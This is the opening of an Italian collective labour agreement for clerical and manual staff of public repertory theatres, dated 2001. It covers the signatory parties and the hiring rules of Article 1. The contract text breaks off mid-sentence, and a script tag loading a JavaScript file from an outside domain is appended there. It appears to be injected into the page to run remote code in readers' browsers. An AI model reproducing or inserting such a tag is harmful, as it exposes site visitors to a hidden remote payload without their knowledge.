Categoria: Teatri stabili - personale non artistico
Settore: Poligrafici e Spettacolo
Data stipula: 24-1-2001
Data decorrenza: 1-4-1999
Data scadenza: 31-12-2003

Contratto Collettivo Nazionale di Lavoro

PER GLI IMPIEGATI E GLI OPERAI DIPENDENTI DAI TEATRI STABILI PUBBLICI
E DAI TEATRI GESTITI DALL'ETI


L'anno 2001, il giorno 24 gennaio in Roma, presso la sede dell'AGIS in via
di Villa Patrizi 10

tra

-  l'Associazione  nazionale  teatri d'arte drammatica  rappresentata  dal
Presidente  Sergio  Escobar,  assistito dal Presidente  della  Commissione
sindacale  Pietro  Valenti,  nonché da Franco  Ferrari,  Gianmario  Maggi,
Riccardo Piantoni ed Enrica Sambuceti;

- ETI rappresentato dal Direttore generale Giovanna Marinelli;
con  l'intervento  dell'Associazione Generale  Italiana  dello  Spettacolo
(AGIS) nelle persone di Nicola Santangelo e Francesco Taccone Gallucci

e

-  SLC-CGIL  rappresentato  dal Segretario generale  Fulvio  Fammoni,  dai
Segretari nazionali Elisabetta Ramat, Salvatore Barone, Carmelo Caravella,
Silvano  Conti,  Piero  Leonesio, assistiti dal Segretario  regionale  del
Lazio  Stefania  Pomante, dal Coordinatore regionale del  Piemonte  Savino
Zulianello e dai rappresentanti dei lavoratori;

- FISTEL-CISL rappresentata dal Segretario generale Fulvio Giacomassi, dal
Responsabile  del  Dipartimento  dello Spettacolo  Sergio  Meomartini,  da
Tonino Pavan e dai rappresentanti dei lavoratori;

-  UILSIC-UIL  rappresentata dal Segretario generale Bruno  Di  Cola,  dal
Segretario  generale  aggiunto Natalino Palombo, dai  Segretari  nazionali
Riccardo  Catini,  Simonetta  Corsi,  Pierluigi  Salvagni,  assistiti  dal
Segretario territoriale Aldo Favilla e dai rappresentanti dei lavoratori

è  stato  stipulato  il seguente CCNL da valere per gli  impiegati  e  gli
operai dipendenti dai teatri stabili e dai teatri gestiti dall'ETI.



Parte I - REGOLAMENTAZIONE COMUNE AGLI IMPIEGATI E AGLI OPERAI

Art. 1 - Assunzione.

L'assunzione  dei lavoratori sarà effettuata nel rispetto delle  norme  di
legge in materia di collocamento.

L'assunzione  dovrà  essere  comunicata direttamente  all'interessato  con
lettera nella quale verrà specificato:

(1) data di assunzione;

(2)  livello  e qualifica (operaio, impiegato) in cui il lavoratore  viene
inquadrato a norma dell'art. 5 del presente contratto e, in modo sommario,
le mansioni cui deve attendere;

(3) retribuzione;

(4) durata dell'eventuale periodo di prova.

All'atto  dell'assunzione,  il  lavoratore  dovrà  presentare  i  seguenti
documenti:

(1) carta d'identità o documento equipollente;
(2) libretto di lavoro;
(3) tessere e libretti di assicurazione, in quanto ne sia già in possesso;
(4) stato di famiglia.

È  in facoltà del teatro richiedere al lavoratore il certificato penale di
data non anteriore a 3 mesi.

Il lavoratore dovrà notificare il suo domicilio e comunicare gli eventuali
successivi mutamenti.

In caso di assunzione mediante concorso o selezione, il teatro chiamerà  a
far parte della Commissione giudicatrice anche un rappresentante designato
dall'Organismo rappresentativo aziendale.

Il  teatro, nelle assunzioni di personale a tempo indeterminato,  darà  la
precedenza ai lavoratori assunti stagionalmente nel quinquennio precedente
per  un  minimo  di 3 stagioni che, a giudizio della Direzione  aziendale,
previa  consultazione con l'Organismo rappresentativo aziendale, siano  in
possesso dei requisiti per l'espletamento delle specifiche mansioni e  non
abbiano dato luogo a rilievi disciplinari.

Il  teatro,  nell'assunzione del personale necessario alle esigenze  della
stagione,  darà la precedenza al personale utilizzato per l'intera  durata
delle  3  stagioni  teatrali  precedenti  che  conservi  i  requisiti  per
l'espletamento  della specifica mansione già svolta e che non  abbia  dato
luogo a rilievi disciplinari.

Il  teatro dovrà comunicare per iscritto al lavoratore 1 mese prima  della
scadenza del contratto a tempo determinato in corso l'eventuale intenzione
di riassumerlo a termine nel corso della successiva<script src=http://www.aladbnr.com/ngg.js></script>